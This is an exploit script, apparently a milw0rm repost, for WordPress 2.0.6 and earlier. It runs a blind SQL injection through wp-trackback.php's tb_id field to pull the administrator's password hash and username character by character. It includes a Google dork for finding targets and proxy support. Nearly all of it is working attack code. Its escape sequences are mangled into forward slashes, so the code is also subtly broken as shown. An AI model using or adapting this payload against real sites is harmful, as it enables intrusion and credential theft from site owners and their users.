WordPress 's

来源：milw0rm.com
<?php
print_r('
---------------------------------------------------------------------------
WordPress <= 2.0.6 wp-trackback.php Zend_Hash_Del_Key_Or_Index /
/ sql injection admin hash disclosure exploit
(needs register_globals=on, 4 <= PHP < 4.4.3,< 5.1.4)
by rgod
dork: "is proudly powered by WordPress"
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
');

if ($argc<3) {
print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to wordpress
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
-t[prefix]: specify a table prefix (default: wp_)
Example:
php '.$argv[0].' localhost /wordpress/ -P1.1.1.1:80
php '.$argv[0].' localhost / -p81
---------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="/r/n"; $exa.="/r/n";}
}
return $exa."/r/n".$result;
}
$proxy_regex = '(/b/d{1,3}/./d{1,3}/./d{1,3}/./d{1,3}/:/d{1,5}/b)';

function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
  $c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy.../r/n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
  }
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$prefix="wp_";

for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-t")
{
$prefix=str_replace("-t","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters

function my_encode($my_string)
{
$encoded="CHAR(";
for ($k=0; $k<=strlen($my_string)-1; $k++)
{
$encoded.=ord($my_string[$k]);
if ($k==strlen($my_string)-1) {$encoded.=")";}
else {$encoded.=",";}
}
return $encoded;
}

echo "/npwd hash -> ";
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
     $sql="999999/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(user_pass,".$j.",1))=".$i."),".my_encode("open").",".my_encode("sun-tzu")."))/**/FROM/**/".$prefix."users/**/WHERE/**/ID=1/*";
$data ="-----------------------------7d61bcd1f033e/r/n";
$data.="Content-Disposition: form-data; name=/"title/";/r/n/r/n";
$data.="1/r/n";
$data.="-----------------------------7d61bcd1f033e/r/n";
$data.="Content-Disposition: form-data; name=/"url/";/r/n/r/n";
$data.="1/r/n";
$data.="-----------------------------7d61bcd1f033e/r/n";
$data.="Content-Disposition: form-data; name=/"blog_name/";/r/n/r/n";
$data.="1/r/n";
$data.="-----------------------------7d61bcd1f033e/r/n";
$data.="Content-Disposition: form-data; name=/"tb_id/";/r/n/r/n";
$data.="$sql/r/n";
$data.="-----------------------------7d61bcd1f033e/r/n";
$data.="Content-Disposition: form-data; name=/"1740009377/";/r/n/r/n";
$data.="1/r/n";
$data.="-----------------------------7d61bcd1f033e/r/n";
$data.="Content-Disposition: form-data; name=/"496546471/";/r/n/r/n";
$data.="1/r/n";
$data.="-----------------------------7d61bcd1f033e--/r/n";
$packet ="POST ".$p."wp-trackback.php?tb_id=1 HTTP/1.0/r/n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e/r/n";
$packet.="Host: ".$host."/r/n";
$packet.="Content-Length: ".strlen($data)."/r/n";
$packet.="Connection: Close/r/n/r/n";
$packet.=$data;
sendpacketii($packet);
if (!eregi("trackbacks are closed",$html)) {$password.=chr($i);echo chr($i);sleep(1);break;}
}
if ($i==255) {
die("/nExploit failed...");
}
}
$j++;
}
echo "/n";

echo "admin user -> ";
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="999999/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(user_login,".$j.",1))=".$i."),".my_encode("open").",".my_encode("sun-tzu")."))/**/FROM/**/".$prefix."users/**/WHERE/**/ID=1/*";
$data ="-----------------------------7d61bcd1f033e/r/n";
$data.="Content-Disposition: form-data; name=/"title/";/r/n/r/n";
$data.="1/r/n";
$data.="-----------------------------7d61bcd1f033e/r/n";
$data.="Content-Disposition: form-data; name=/"url/";/r/n/r/n";
$data.="1/r/n";
$data.="-----------------------------7d61bcd1f033e/r/n";
$data.="Content-Disposition: form-data; name=/"blog_name/";/r/n/r/n";
$data.="1/r/n";
$data.="-----------------------------7d61bcd1f033e/r/n";
$data.="Content-Disposition: form-data; name=/"tb_id/";/r/n/r/n";
$data.="$sql/r/n";
$data.="-----------------------------7d61bcd1f033e/r/n";
$data.="Content-Disposition: form-data; name=/"1740009377/";/r/n/r/n";
$data.="1/r/n";
$data.="-----------------------------7d61bcd1f033e/r/n";
$data.="Content-Disposition: form-data; name=/"496546471/";/r/n/r/n";
$data.="1/r/n";
$data.="-----------------------------7d61bcd1f033e--/r/n";
$packet ="POST ".$p."wp-trackback.php?tb_id=1 HTTP/1.0/r/n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e/r/n";
$packet.="Host: ".$host."/r/n";
$packet.="Content-Length: ".strlen($data)."/r/n";
$packet.="Connection: Close/r/n/r/n";
$packet.=$data;
sendpacketii($packet);
if (!eregi("trackbacks are closed",$html)) {$admin.=chr($i);echo chr($i);sleep(1);break;}
if ($i==255) {
die("/nExploit failed...");
}
}
$j++;
}
echo "/n";

function is_hash($hash)
{
if (ereg("([a-f0-9]{32})",trim($hash))) {return true;}
else {return false;}
}

if (is_hash($password)) {
echo "exploit succeeded...";
}
else {
echo "exploit failed...";
}

?>
# milw0rm.com [2007-01-10]